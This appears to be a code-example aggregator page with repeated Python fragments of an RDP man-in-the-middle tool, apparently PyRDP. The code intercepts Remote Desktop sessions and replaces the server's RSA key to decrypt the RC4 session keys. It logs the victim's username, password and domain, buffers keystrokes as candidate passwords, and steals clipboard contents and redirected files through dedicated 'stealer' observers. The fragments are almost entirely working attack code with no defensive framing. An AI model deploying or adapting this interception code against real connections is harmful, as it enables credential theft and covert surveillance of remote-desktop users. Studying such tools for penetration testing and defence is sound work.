Ejemplo n.º 1
0
    def __init__(self):
        self.requestedProtocols: Optional[NegotiationProtocols] = None
        """The original request protocols"""

        self.useTLS = False
        """Whether the connection uses TLS or not"""

        self.securitySettings = SecuritySettings()
        """The security settings for the connection"""

        self.channelDefinitions: [ClientChannelDefinition] = []
        """The channel definitions from the client"""

        self.channelMap: Dict[int, str] = {}
        """Dictionary of channel names to channel IDs"""

        self.rc4RSAKey = RSA.generate(2048)
        """The RSA key for the RC4 key exchange"""

        self.crypters = {
            ParserMode.CLIENT: RC4CrypterProxy(RC4CrypterProxy.Mode.CLIENT),
            ParserMode.SERVER: RC4CrypterProxy(RC4CrypterProxy.Mode.SERVER)
        }
        """Crypters for the client and server side"""

        self.forwardInput = True
        """Whether input from the client should be forwarded to the server"""

        self.forwardOutput = True
        """Whether output from the server should be forwarded to the client"""

        self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
        self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])
Ejemplo n.º 2
0
class RDPMITMState:
    """
    State object for the RDP MITM. This is for data that needs to be shared across components.
    """
    def __init__(self):
        self.requestedProtocols: Optional[NegotiationProtocols] = None
        """The original request protocols"""

        self.useTLS = False
        """Whether the connection uses TLS or not"""

        self.securitySettings = SecuritySettings()
        """The security settings for the connection"""

        self.channelDefinitions: [ClientChannelDefinition] = []
        """The channel definitions from the client"""

        self.channelMap: Dict[int, str] = {}
        """Dictionary of channel names to channel IDs"""

        self.rc4RSAKey = RSA.generate(2048)
        """The RSA key for the RC4 key exchange"""

        self.crypters = {
            ParserMode.CLIENT: RC4CrypterProxy(RC4CrypterProxy.Mode.CLIENT),
            ParserMode.SERVER: RC4CrypterProxy(RC4CrypterProxy.Mode.SERVER)
        }
        """Crypters for the client and server side"""

        self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
        self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])

    def createSecurityLayer(self, mode: ParserMode,
                            isVirtualChannel: bool) -> SecurityLayer:
        """
        Create a security layer.
        :param mode: the mode of the security layer (client or server)
        :param isVirtualChannel: True if the security layer is for a virtual channel, False if it's for slow-path data.
        """

        if self.useTLS:
            layer = TLSSecurityLayer()
            layer.securityHeaderExpected = not isVirtualChannel
            return layer
        else:
            crypter = self.crypters[mode]
            return SecurityLayer.create(self.securitySettings.encryptionMethod,
                                        crypter)

    def createFastPathLayer(self, mode: ParserMode) -> FastPathLayer:
        """
        Create a fast-path layer.
        :param mode: the mode of the layer (client or server)
        """

        parser = createFastPathParser(self.useTLS,
                                      self.securitySettings.encryptionMethod,
                                      self.crypters[mode], mode)
        return FastPathLayer(parser)
Ejemplo n.º 3
0
    def __init__(self, config: MITMConfig, sessionID: str):
        self.requestedProtocols: Optional[NegotiationProtocols] = None
        """The original request protocols"""

        self.config = config
        """The MITM configuration."""

        self.useTLS = False
        """Whether the connection uses TLS or not"""

        self.securitySettings = SecuritySettings()
        """The security settings for the connection"""

        self.channelDefinitions: [ClientChannelDefinition] = []
        """The channel definitions from the client"""

        self.channelMap: Dict[int, str] = {}
        """Dictionary of channel names to channel IDs"""

        self.rc4RSAKey = RSA.generate(2048)
        """The RSA key for the RC4 key exchange"""

        self.crypters = {
            ParserMode.CLIENT: RC4CrypterProxy(RC4CrypterProxy.Mode.CLIENT),
            ParserMode.SERVER: RC4CrypterProxy(RC4CrypterProxy.Mode.SERVER)
        }
        """Crypters for the client and server side"""

        self.forwardInput = True
        """Whether input from the client should be forwarded to the server"""

        self.forwardOutput = True
        """Whether output from the server should be forwarded to the client"""

        self.loggedIn = False
        """Keep tracks of the client login status"""

        self.inputBuffer = ""
        """Used to store what the client types"""

        self.credentialsCandidate = ""
        """The potential client password"""

        self.shiftPressed = False
        """The current keyboard shift state"""

        self.capsLockOn = False
        """The current keyboard capsLock state"""

        self.ctrlPressed = False
        """The current keybaord ctrl state"""

        self.sessionID = sessionID
        """The current session ID"""

        self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
        self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])
Ejemplo n.º 4
0
    def __init__(self, friendlyName: str, targetHost: str, targetPort: int,
                 certificateFileName: str, privateKeyFileName: str,
                 recordHost: str, recordPort: int, replacementUsername: str,
                 replacementPassword: str):
        MCSUserObserver.__init__(self)

        self.sessionId = f"{friendlyName}{random.randrange(100000,999999)}"
        self.log = getLoggerPassFilters(
            f"{LOGGER_NAMES.MITM_CONNECTIONS}.{self.sessionId}.server")
        self.metadataFilter = ConnectionMetadataFilter(self, self.sessionId)
        self.log.addFilter(self.metadataFilter)

        self.replacementPassword = replacementPassword
        self.replacementUsername = replacementUsername
        self.targetHost = targetHost
        self.targetPort = targetPort
        self.certificateFileName = certificateFileName
        self.privateKeyFileName = privateKeyFileName
        self.clipboardObserver = None
        self.useTLS = False
        self.client: MITMClient = None
        self.clientConnector = None
        self.originalNegotiationPDU = None
        self.targetNegotiationPDU = None
        self.serverData = None
        self.rc4RSAKey = RSA.generate(2048)
        self.crypter = RC4CrypterProxy()
        self.socket = None
        self.fileHandle = open(
            "out/rdp_replay_{}_{}.pyrdp".format(
                datetime.datetime.now().strftime('%Y%m%d_%H-%M-%S'),
                random.randint(0, 1000)), "wb")

        rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4")
        self.securitySettings = SecuritySettings(SecuritySettings.Mode.SERVER)
        self.securitySettings.addObserver(self.crypter)
        self.securitySettings.addObserver(RC4LoggingObserver(rc4Log))

        self.tcp = TwistedTCPLayer()
        self.tcp.createObserver(onConnection=self.onConnection,
                                onDisconnection=self.onDisconnection)

        self.segmentation = SegmentationLayer()
        self.segmentation.createObserver(
            onUnknownHeader=self.onUnknownTPKTHeader)

        self.tpkt = TPKTLayer()

        self.x224 = X224Layer()
        self.x224.createObserver(onConnectionRequest=self.onConnectionRequest,
                                 onDisconnectRequest=self.onDisconnectRequest)

        self.mcs = MCSLayer()
        self.router = MITMServerRouter(self.mcs, self)
        self.mcs.addObserver(self.router)
        self.router.createObserver(
            onConnectionReceived=self.onConnectInitial,
            onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum,
            onAttachUserRequest=self.onAttachUserRequest,
            onChannelJoinRequest=self.onChannelJoinRequest)

        self.gcc = GCCParser()

        self.rdpClientInfoParser = ClientInfoParser()
        self.rdpClientConnectionParser = ClientConnectionParser()
        self.rdpServerConnectionParser = ServerConnectionParser()

        self.securityLayer = None
        self.slowPathLayer = SlowPathLayer()
        self.fastPathLayer = None

        self.tcp.setNext(self.segmentation)
        self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt)
        Layer.chain(self.tpkt, self.x224, self.mcs)

        if recordHost is not None and recordPort is not None:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                self.socket.connect((recordHost, recordPort))
            except socket.error as e:
                logging.getLogger(LOGGER_NAMES.MITM).error(
                    "Could not connect to liveplayer: %(error)s", {"error": e})
                self.socket.close()
                self.socket = None

        recordingLayers = [FileLayer(self.fileHandle)]
        if self.socket is not None:
            recordingLayers.append(SocketLayer(self.socket))

        # Since we're intercepting communications from the original client (so we're a server),
        # We need to write back the packets as if they came from the client.
        self.recorder = Recorder(recordingLayers)
Ejemplo n.º 5
0
class MITMServer(MCSUserObserver, MCSChannelFactory):
    def __init__(self, friendlyName: str, targetHost: str, targetPort: int,
                 certificateFileName: str, privateKeyFileName: str,
                 recordHost: str, recordPort: int, replacementUsername: str,
                 replacementPassword: str):
        MCSUserObserver.__init__(self)

        self.sessionId = f"{friendlyName}{random.randrange(100000,999999)}"
        self.log = getLoggerPassFilters(
            f"{LOGGER_NAMES.MITM_CONNECTIONS}.{self.sessionId}.server")
        self.metadataFilter = ConnectionMetadataFilter(self, self.sessionId)
        self.log.addFilter(self.metadataFilter)

        self.replacementPassword = replacementPassword
        self.replacementUsername = replacementUsername
        self.targetHost = targetHost
        self.targetPort = targetPort
        self.certificateFileName = certificateFileName
        self.privateKeyFileName = privateKeyFileName
        self.clipboardObserver = None
        self.useTLS = False
        self.client: MITMClient = None
        self.clientConnector = None
        self.originalNegotiationPDU = None
        self.targetNegotiationPDU = None
        self.serverData = None
        self.rc4RSAKey = RSA.generate(2048)
        self.crypter = RC4CrypterProxy()
        self.socket = None
        self.fileHandle = open(
            "out/rdp_replay_{}_{}.pyrdp".format(
                datetime.datetime.now().strftime('%Y%m%d_%H-%M-%S'),
                random.randint(0, 1000)), "wb")

        rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4")
        self.securitySettings = SecuritySettings(SecuritySettings.Mode.SERVER)
        self.securitySettings.addObserver(self.crypter)
        self.securitySettings.addObserver(RC4LoggingObserver(rc4Log))

        self.tcp = TwistedTCPLayer()
        self.tcp.createObserver(onConnection=self.onConnection,
                                onDisconnection=self.onDisconnection)

        self.segmentation = SegmentationLayer()
        self.segmentation.createObserver(
            onUnknownHeader=self.onUnknownTPKTHeader)

        self.tpkt = TPKTLayer()

        self.x224 = X224Layer()
        self.x224.createObserver(onConnectionRequest=self.onConnectionRequest,
                                 onDisconnectRequest=self.onDisconnectRequest)

        self.mcs = MCSLayer()
        self.router = MITMServerRouter(self.mcs, self)
        self.mcs.addObserver(self.router)
        self.router.createObserver(
            onConnectionReceived=self.onConnectInitial,
            onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum,
            onAttachUserRequest=self.onAttachUserRequest,
            onChannelJoinRequest=self.onChannelJoinRequest)

        self.gcc = GCCParser()

        self.rdpClientInfoParser = ClientInfoParser()
        self.rdpClientConnectionParser = ClientConnectionParser()
        self.rdpServerConnectionParser = ServerConnectionParser()

        self.securityLayer = None
        self.slowPathLayer = SlowPathLayer()
        self.fastPathLayer = None

        self.tcp.setNext(self.segmentation)
        self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt)
        Layer.chain(self.tpkt, self.x224, self.mcs)

        if recordHost is not None and recordPort is not None:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                self.socket.connect((recordHost, recordPort))
            except socket.error as e:
                logging.getLogger(LOGGER_NAMES.MITM).error(
                    "Could not connect to liveplayer: %(error)s", {"error": e})
                self.socket.close()
                self.socket = None

        recordingLayers = [FileLayer(self.fileHandle)]
        if self.socket is not None:
            recordingLayers.append(SocketLayer(self.socket))

        # Since we're intercepting communications from the original client (so we're a server),
        # We need to write back the packets as if they came from the client.
        self.recorder = Recorder(recordingLayers)

    def getSessionId(self):
        return self.sessionId

    def getProtocol(self):
        return self.tcp

    def getNegotiationPDU(self):
        return self.targetNegotiationPDU

    def connectClient(self):
        # Connect the client side to the target machine
        self.clientConnector = reactor.connectTCP(
            self.targetHost, self.targetPort,
            MITMClientFactory(self, self.fileHandle, self.socket,
                              self.replacementUsername,
                              self.replacementPassword))

    def setClient(self, client: MITMClient):
        self.client = client

    def onConnection(self):
        # Connection sequence #0
        clientInfo = self.tcp.transport.client
        self.log.info("TCP connected from %(arg1)s:%(arg2)s", {
            "arg1": clientInfo[0],
            "arg2": clientInfo[1]
        })

    def onDisconnection(self, reason):
        """
        Record the end of the connection, close everything and delete the replay file if its too
        small (no useful information)
        """
        self.recorder.record(None, PlayerMessageType.CONNECTION_CLOSE)
        self.log.info("Connection closed: %(arg1)s", {"arg1": reason})

        if self.client:
            self.client.disconnect()

        self.disconnectConnector()
        fileSize = self.fileHandle.tell()
        fileName = self.fileHandle.name
        self.fileHandle.close()
        if fileSize < 16:
            try:
                os.remove(fileName)
            except Exception as e:
                logging.getLogger(LOGGER_NAMES.MITM).error(
                    "Can't delete small replay file %(replayFile)s: %(error)s",
                    {
                        "replayFile": fileName,
                        "error": e
                    })

    def onDisconnectRequest(self, pdu):
        self.log.debug("X224 Disconnect Request received")
        self.disconnect()

    def onDisconnectProviderUltimatum(self, pdu):
        self.log.debug("Disconnect Provider Ultimatum PDU received")
        self.disconnect()

    def disconnect(self):
        self.log.debug("Disconnecting")
        self.disconnectConnector()
        self.tcp.disconnect()
        self.log.removeFilter(self.metadataFilter)
        if self.socket is not None:
            self.socket.close()

    def disconnectConnector(self):
        if self.clientConnector:
            self.clientConnector.disconnect()
            self.clientConnector = None

    def onUnknownTPKTHeader(self, header):
        self.log.error(
            "Closing the connection because an unknown TPKT header was received. Header: 0x%(header)02lx",
            {"header": header})
        self.disconnect()

    def onConnectionRequest(self, pdu):
        # X224 Request
        self.log.debug("Connection Request received")

        # We need to save the original negotiation PDU because Windows will cut the connection if it
        # sees that the requested protocols have changed.
        parser = NegotiationRequestParser()
        self.originalNegotiationPDU = parser.parse(pdu.payload)

        if self.originalNegotiationPDU.cookie:
            self.log.info(
                "%(cookie)s",
                {"cookie": self.originalNegotiationPDU.cookie.decode()})
        else:
            self.log.info("No cookie for this connection %(cookie)s",
                          {"cookie": ""})

        # Only SSL is implemented, so remove other protocol flags
        chosenProtocols = self.originalNegotiationPDU.requestedProtocols & NegotiationProtocols.SSL \
            if self.originalNegotiationPDU.requestedProtocols is not None else None
        self.targetNegotiationPDU = NegotiationRequestPDU(
            self.originalNegotiationPDU.cookie,
            self.originalNegotiationPDU.flags,
            chosenProtocols,
            self.originalNegotiationPDU.correlationFlags,
            self.originalNegotiationPDU.correlationID,
        )

        self.connectClient()

    def onConnectionConfirm(self, _):
        # X224 Response
        protocols = NegotiationProtocols.SSL if self.originalNegotiationPDU.tlsSupported else NegotiationProtocols.NONE

        parser = NegotiationResponseParser()
        payload = parser.write(
            NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00,
                                   protocols))
        self.x224.sendConnectionConfirm(payload, source=0x1234)

        if self.originalNegotiationPDU.tlsSupported:
            self.tcp.startTLS(
                ServerTLSContext(privateKeyFileName=self.privateKeyFileName,
                                 certificateFileName=self.certificateFileName))
            self.useTLS = True

    def onConnectInitial(self, pdu):
        # MCS Connect Initial
        """
        Parse the ClientData PDU and send a ServerData PDU back.
        :param pdu: The GCC ConferenceCreateResponse PDU that contains the ClientData PDU.
        """
        self.log.debug("Connect Initial received")
        gccConferenceCreateRequestPDU: GCCConferenceCreateRequestPDU = self.gcc.parse(
            pdu.payload)

        # FIPS is not implemented, so remove this flag if it's set
        rdpClientDataPdu = self.rdpClientConnectionParser.parse(
            gccConferenceCreateRequestPDU.payload)
        rdpClientDataPdu.securityData.encryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS
        rdpClientDataPdu.securityData.extEncryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS

        #  This disables the support for the Graphics pipeline extension, which is a completely different way to
        #  transfer graphics from server to client. https://msdn.microsoft.com/en-us/library/dn366933.aspx
        rdpClientDataPdu.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL

        #  Remove 24bpp and 32bpp support, fall back to 16bpp.
        #  2018-12-14: This is only there because there is a bug in the pyrdp player where 24bpp
        #  decompression in rle.c causes random crashes. If this bug is fixed, we could remove this.
        rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_32BPP_SUPPORT
        rdpClientDataPdu.coreData.supportedColorDepths &= ~SupportedColorDepth.RNS_UD_24BPP_SUPPORT
        rdpClientDataPdu.coreData.highColorDepth &= ~HighColorDepth.HIGH_COLOR_24BPP
        if rdpClientDataPdu.coreData.highColorDepth == 0:
            # Means the requested color depth was 24bpp, fallback to 16bpp
            rdpClientDataPdu.coreData.highColorDepth |= HighColorDepth.HIGH_COLOR_16BPP

        self.client.onConnectInitial(gccConferenceCreateRequestPDU,
                                     rdpClientDataPdu)
        return True

    def onConnectResponse(self, pdu, serverData):
        # MCS Connect Response
        """
        :type pdu: MCSConnectResponsePDU
        :type serverData: ServerDataPDU
        """
        if pdu.result != 0:
            self.mcs.send(pdu)
            return

        # Replace the server's public key with our own key so we can decrypt the incoming client random
        cert = serverData.security.serverCertificate
        if cert:
            cert = ProprietaryCertificate(cert.signatureAlgorithmID,
                                          cert.keyAlgorithmID,
                                          cert.publicKeyType, self.rc4RSAKey,
                                          cert.signatureType, cert.signature,
                                          cert.padding)

        security = ServerSecurityData(
            # FIPS is not implemented so avoid using that
            serverData.security.encryptionMethod
            if serverData.security.encryptionMethod !=
            EncryptionMethod.ENCRYPTION_FIPS else
            EncryptionMethod.ENCRYPTION_128BIT,
            serverData.security.encryptionLevel
            if serverData.security.encryptionLevel !=
            EncryptionLevel.ENCRYPTION_LEVEL_FIPS else
            EncryptionLevel.ENCRYPTION_LEVEL_HIGH,
            serverData.security.serverRandom,
            cert)

        serverData.core.clientRequestedProtocols = self.originalNegotiationPDU.requestedProtocols

        self.securitySettings.serverSecurityReceived(security)
        self.serverData = ServerDataPDU(serverData.core, security,
                                        serverData.network)

        rdpParser = ServerConnectionParser()
        gccParser = GCCParser()

        gcc = self.client.conferenceCreateResponse
        gcc = GCCConferenceCreateResponsePDU(gcc.nodeID, gcc.tag, gcc.result,
                                             rdpParser.write(self.serverData))
        pdu = MCSConnectResponsePDU(pdu.result, pdu.calledConnectID,
                                    pdu.domainParams, gccParser.write(gcc))
        self.mcs.send(pdu)

    def onAttachUserRequest(self, _):
        # MCS Attach User Request
        self.client.onAttachUserRequest()

    def onAttachConfirmed(self, user):
        # MCS Attach User Confirm successful
        self.router.sendAttachUserConfirm(True, user.userID)

    def onAttachRefused(self, user, result):
        # MCS Attach User Confirm failed
        self.router.sendAttachUserConfirm(False, result)

    def onChannelJoinRequest(self, pdu):
        # MCS Channel Join Request
        self.client.onChannelJoinRequest(pdu)

    def onChannelJoinAccepted(self, userID, channelID):
        # MCS Channel Join Confirm successful
        self.router.sendChannelJoinConfirm(0, userID, channelID)

    def onChannelJoinRefused(self, user, result, channelID):
        # MCS Channel Join Confirm failed
        self.log.debug("Refusing to connect channelId %(channelId)d",
                       {"channelId": channelID})
        self.router.sendChannelJoinConfirm(result, user.userID, channelID)

    def buildChannel(self, mcs, userID, channelID):
        self.log.debug("building channel %(arg1)s for user %(arg2)d", {
            "arg1": channelID,
            "arg2": userID
        })

        channelMap = self.client.channelMap
        if channelID == self.serverData.network.mcsChannelID:
            return self.buildIOChannel(mcs, userID, channelID)
        elif channelID in channelMap.keys(
        ) and channelMap[channelID] == VirtualChannelName.CLIPBOARD:
            return self.buildClipboardChannel(mcs, userID, channelID)
        elif channelID in channelMap.keys(
        ) and channelMap[channelID] == VirtualChannelName.DEVICE_REDIRECTION:
            return self.buildDeviceRedirectionChannel(mcs, userID, channelID)
        else:
            return self.buildVirtualChannel(mcs, userID, channelID)

    def createSecurityLayer(self):
        encryptionMethod = self.serverData.security.encryptionMethod

        if self.useTLS:
            return TLSSecurityLayer()
        else:
            return SecurityLayer.create(encryptionMethod, self.crypter)

    def buildVirtualChannel(self, mcs: MCSLayer, userID: int,
                            channelID: int) -> MCSServerChannel:
        channel = MCSServerChannel(mcs, userID, channelID)
        securityLayer = self.createSecurityLayer()
        rawLayer = RawLayer()

        Layer.chain(channel, securityLayer, rawLayer)

        peer = self.client.getChannelObserver(channelID)
        observer = MITMVirtualChannelObserver(rawLayer)
        observer.setPeer(peer)
        rawLayer.addObserver(observer)

        return channel

    def buildClipboardChannel(self, mcs: MCSLayer, userID: int,
                              channelID: int) -> MCSServerChannel:
        """
        :type mcs: MCSLayer
        :param userID: The mcs user that builds the channel
        :param channelID: The channel ID to use to communicate in that channel
        :return: MCSServerChannel that handles the Clipboard virtual channel traffic from the client to the MITM.
        """
        # Create all necessary layers
        channel = MCSServerChannel(mcs, userID, channelID)
        securityLayer = self.createSecurityLayer()
        virtualChannelLayer = VirtualChannelLayer()
        clipboardLayer = ClipboardLayer()

        Layer.chain(channel, securityLayer, virtualChannelLayer,
                    clipboardLayer)

        # Create and link the MITM Observer for the server side to the clipboard layer.
        # Also link both MITM Observers (client and server) so they can send traffic the other way.
        peer = self.client.getChannelObserver(channelID)
        passiveClipboardObserver = PassiveClipboardStealer(
            clipboardLayer, self.recorder, self.log)
        peer.passiveClipboardObserver = passiveClipboardObserver
        passiveClipboardObserver.setPeer(peer)
        clipboardLayer.addObserver(passiveClipboardObserver)

        return channel

    def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int,
                                      channelID: int) -> MCSServerChannel:
        """
        :type mcs: MCSLayer
        :param userID: The mcs user that builds the channel
        :param channelID: The channel ID to use to communicate in that channel
        :return: MCSServerChannel that handles the device redirection virtual channel traffic from
                 the client to the MITM.
        """
        # Create all necessary layers
        channel = MCSServerChannel(mcs, userID, channelID)
        securityLayer = self.createSecurityLayer()
        virtualChannelLayer = VirtualChannelLayer(
            activateShowProtocolFlag=False)
        deviceRedirectionLayer = DeviceRedirectionLayer()

        Layer.chain(channel, securityLayer, virtualChannelLayer,
                    deviceRedirectionLayer)

        # Create and link the MITM Observer for the server side to the device redirection layer.
        # Also link both MITM Observers (client and server) so they can send traffic the other way.
        peer = self.client.getChannelObserver(channelID)
        observer = PassiveFileStealerServer(
            deviceRedirectionLayer, self.recorder,
            self.client.deviceRedirectionObserver, self.log)
        observer.setPeer(peer)
        deviceRedirectionLayer.addObserver(observer)

        return channel

    def buildIOChannel(self, mcs: MCSLayer, userID: int,
                       channelID: int) -> MCSServerChannel:
        encryptionMethod = self.serverData.security.encryptionMethod
        self.securityLayer = self.createSecurityLayer()
        self.securityLayer.createObserver(
            onClientInfoReceived=self.onClientInfoReceived,
            onSecurityExchangeReceived=self.onSecurityExchangeReceived,
            onLicensingDataReceived=self.onLicensingDataReceived)

        slowPathObserver = MITMSlowPathObserver(
            self.log, self.slowPathLayer, onConfirmActive=self.onConfirmActive)
        slowPathObserver.setDataHandler(SlowPathDataType.PDUTYPE2_INPUT,
                                        self.onInputPDUReceived)
        clientObserver = self.client.getChannelObserver(channelID)
        slowPathObserver.setPeer(clientObserver)
        self.slowPathLayer.addObserver(slowPathObserver)
        self.slowPathLayer.addObserver(RecordingSlowPathObserver(
            self.recorder))

        fastPathParser = createFastPathParser(self.useTLS, encryptionMethod,
                                              self.crypter, ParserMode.SERVER)
        self.fastPathLayer = FastPathLayer(fastPathParser)
        fastPathObserver = MITMFastPathObserver(self.log, self.fastPathLayer)
        fastPathObserver.setPeer(self.client.getFastPathObserver())
        self.fastPathLayer.addObserver(fastPathObserver)
        self.fastPathLayer.addObserver(
            RecordingFastPathObserver(self.recorder,
                                      PlayerMessageType.FAST_PATH_INPUT))

        channel = MCSServerChannel(mcs, userID, channelID)
        Layer.chain(channel, self.securityLayer, self.slowPathLayer)

        self.segmentation.attachLayer(SegmentationPDUType.FAST_PATH,
                                      self.fastPathLayer)

        if self.useTLS:
            self.securityLayer.securityHeaderExpected = True

        return channel

    def onConfirmActive(self, pdu):
        # Force RDP server to send bitmap events instead of order events.
        pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_ORDER].orderFlags = OrderFlag.NEGOTIATEORDERSUPPORT \
                                                                             | OrderFlag.ZEROBOUNDSDELTASSUPPORT
        pdu.parsedCapabilitySets[
            CapabilityType.CAPSTYPE_ORDER].orderSupport = b"\x00" * 32

        # Disable virtual channel compression
        if CapabilityType.CAPSTYPE_VIRTUALCHANNEL in pdu.parsedCapabilitySets:
            pdu.parsedCapabilitySets[
                CapabilityType.CAPSTYPE_VIRTUALCHANNEL].flags = 0

        # Override the bitmap cache capability set with null values.
        if CapabilityType.CAPSTYPE_BITMAPCACHE in pdu.parsedCapabilitySets:
            pdu.parsedCapabilitySets[CapabilityType.CAPSTYPE_BITMAPCACHE] =\
                Capability(CapabilityType.CAPSTYPE_BITMAPCACHE, b"\x00" * 36)

        # Disable surface commands
        if CapabilityType.CAPSETTYPE_SURFACE_COMMANDS in pdu.parsedCapabilitySets:
            pdu.parsedCapabilitySets[
                CapabilityType.CAPSETTYPE_SURFACE_COMMANDS].cmdFlags = 0

    # Security Exchange
    def onSecurityExchangeReceived(self, pdu):
        """
        :type pdu: RDPSecurityExchangePDU
        :return:
        """
        self.log.debug("Security Exchange received")
        clientRandom = self.rc4RSAKey.decrypt(pdu.clientRandom[::-1])[::-1]
        self.securitySettings.setClientRandom(clientRandom)

    # Client Info Packet
    def onClientInfoReceived(self, data: bytes):
        """
        Called when client info data is received.
        Record the PDU and send it to the MITMClient.
        """
        pdu = ClientInfoParser().parse(data)

        clientAddress = None
        if pdu.extraInfo:
            clientAddress = decodeUTF16LE(pdu.extraInfo.clientAddress)
        self.log.info("Client address: %(clientAddress)s",
                      {"clientAddress": clientAddress})

        self.log.debug("Client Info received: %(clientInfoPDU)s",
                       {"clientInfoPDU": pdu})
        hasExtraInfo = pdu.extraInfo is not None
        self.log.info(
            "CLIENT INFO RECEIVED.\n"
            "USER: %(username)s\n"
            "PASSWORD: %(password)s\n"
            "DOMAIN: %(domain)s\n"
            "LOCAL IP ADDR: %(localIpAddress)s", {
                "username":
                pdu.username,
                "password":
                pdu.password,
                "domain":
                pdu.domain,
                "localIpAddress":
                pdu.extraInfo.clientAddress if hasExtraInfo else None
            })
        self.recorder.record(pdu, PlayerMessageType.CLIENT_INFO)
        self.client.onClientInfoPDUReceived(pdu)

    def onLicensingDataReceived(self, data):
        self.log.debug("Sending Licensing data")

        if self.useTLS:
            self.securityLayer.securityHeaderExpected = False

        self.securityLayer.sendLicensing(data)

    def sendDisconnectProviderUltimatum(self, pdu):
        self.mcs.send(pdu)

    def onInputPDUReceived(self, pdu):
        # Unsure if still useful
        for event in pdu.events:
            if event.messageType == InputEventType.INPUT_EVENT_SCANCODE:
                self.log.debug("Key pressed: 0x%2lx" % event.keyCode)
            elif event.messageType == InputEventType.INPUT_EVENT_MOUSE:
                self.log.debug("Mouse position: x = %d, y = %d" %
                               (event.x, event.y))
Ejemplo n.º 6
0
class RDPMITMState:
    """
    State object for the RDP MITM. This is for data that needs to be shared across components.
    """
    def __init__(self, config: MITMConfig):
        self.requestedProtocols: Optional[NegotiationProtocols] = None
        """The original request protocols"""

        self.config = config
        """The MITM configuration."""

        self.useTLS = False
        """Whether the connection uses TLS or not"""

        self.securitySettings = SecuritySettings()
        """The security settings for the connection"""

        self.channelDefinitions: [ClientChannelDefinition] = []
        """The channel definitions from the client"""

        self.channelMap: Dict[int, str] = {}
        """Dictionary of channel names to channel IDs"""

        self.rc4RSAKey = RSA.generate(2048)
        """The RSA key for the RC4 key exchange"""

        self.crypters = {
            ParserMode.CLIENT: RC4CrypterProxy(RC4CrypterProxy.Mode.CLIENT),
            ParserMode.SERVER: RC4CrypterProxy(RC4CrypterProxy.Mode.SERVER)
        }
        """Crypters for the client and server side"""

        self.forwardInput = True
        """Whether input from the client should be forwarded to the server"""

        self.forwardOutput = True
        """Whether output from the server should be forwarded to the client"""

        self.loggedIn = False
        """Keep tracks of the client login status"""

        self.inputBuffer = ""
        """Used to store what the client types"""

        self.credentialsCandidate = ""
        """The potential client password"""

        self.shiftPressed = False
        """The current keyboard shift state"""

        self.capsLockOn = False
        """The current keyboard capsLock state"""

        self.ctrlPressed = False
        """The current keybaord ctrl state"""

        self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
        self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])

    def createSecurityLayer(self, mode: ParserMode,
                            isVirtualChannel: bool) -> SecurityLayer:
        """
        Create a security layer.
        :param mode: the mode of the security layer (client or server)
        :param isVirtualChannel: True if the security layer is for a virtual channel, False if it's for slow-path data.
        """

        if self.useTLS:
            layer = TLSSecurityLayer()
            layer.securityHeaderExpected = not isVirtualChannel
            return layer
        else:
            crypter = self.crypters[mode]
            return SecurityLayer.create(self.securitySettings.encryptionMethod,
                                        crypter)

    def createFastPathLayer(self, mode: ParserMode) -> FastPathLayer:
        """
        Create a fast-path layer.
        :param mode: the mode of the layer (client or server)
        """

        parser = createFastPathParser(self.useTLS,
                                      self.securitySettings.encryptionMethod,
                                      self.crypters[mode], mode)
        return FastPathLayer(parser)
Ejemplo n.º 7
0
    def __init__(self,
                 server,
                 fileHandle: BinaryIO,
                 livePlayerSocket: socket,
                 replacementUsername=None,
                 replacementPassword=None):
        MCSChannelFactory.__init__(self)
        self.log = getLoggerPassFilters(
            f"{LOGGER_NAMES.MITM_CONNECTIONS}.{server.getSessionId()}.client")
        self.log.addFilter(server.metadataFilter)

        self.replacementUsername = replacementUsername
        self.replacementPassword = replacementPassword

        self.server = server
        self.channelMap: Dict[int, str] = {}
        self.channelDefinitions = []
        self.channelObservers = {}
        self.deviceRedirectionObserver = None
        self.useTLS = False
        self.user = None
        self.fastPathObserver = None
        self.conferenceCreateResponse = None
        self.serverData = None
        self.crypter = RC4CrypterProxy()

        rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4")
        self.securitySettings = SecuritySettings(SecuritySettings.Mode.CLIENT)
        self.securitySettings.addObserver(self.crypter)
        self.securitySettings.addObserver(RC4LoggingObserver(rc4Log))

        self.tcp = TwistedTCPLayer()
        self.tcp.createObserver(onConnection=self.startConnection,
                                onDisconnection=self.onDisconnection)

        self.segmentation = SegmentationLayer()
        self.segmentation.createObserver(
            onUnknownHeader=self.onUnknownTPKTHeader)

        self.tpkt = TPKTLayer()

        self.x224 = X224Layer()
        self.x224.createObserver(onConnectionConfirm=self.onConnectionConfirm,
                                 onDisconnectRequest=self.onDisconnectRequest)

        self.mcs = MCSLayer()
        self.router = MCSClientRouter(self.mcs, self)
        self.mcs.addObserver(self.router)
        self.router.createObserver(
            onConnectResponse=self.onConnectResponse,
            onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum)

        self.mcsConnect = MCSClientConnectionLayer(self.mcs)

        self.gccConnect = GCCClientConnectionLayer(b"1")
        self.gccConnect.createObserver(
            onPDUReceived=self.onConferenceCreateResponse)

        self.rdpConnect = ClientConnectionLayer()
        self.rdpConnect.createObserver(onPDUReceived=self.onServerData)

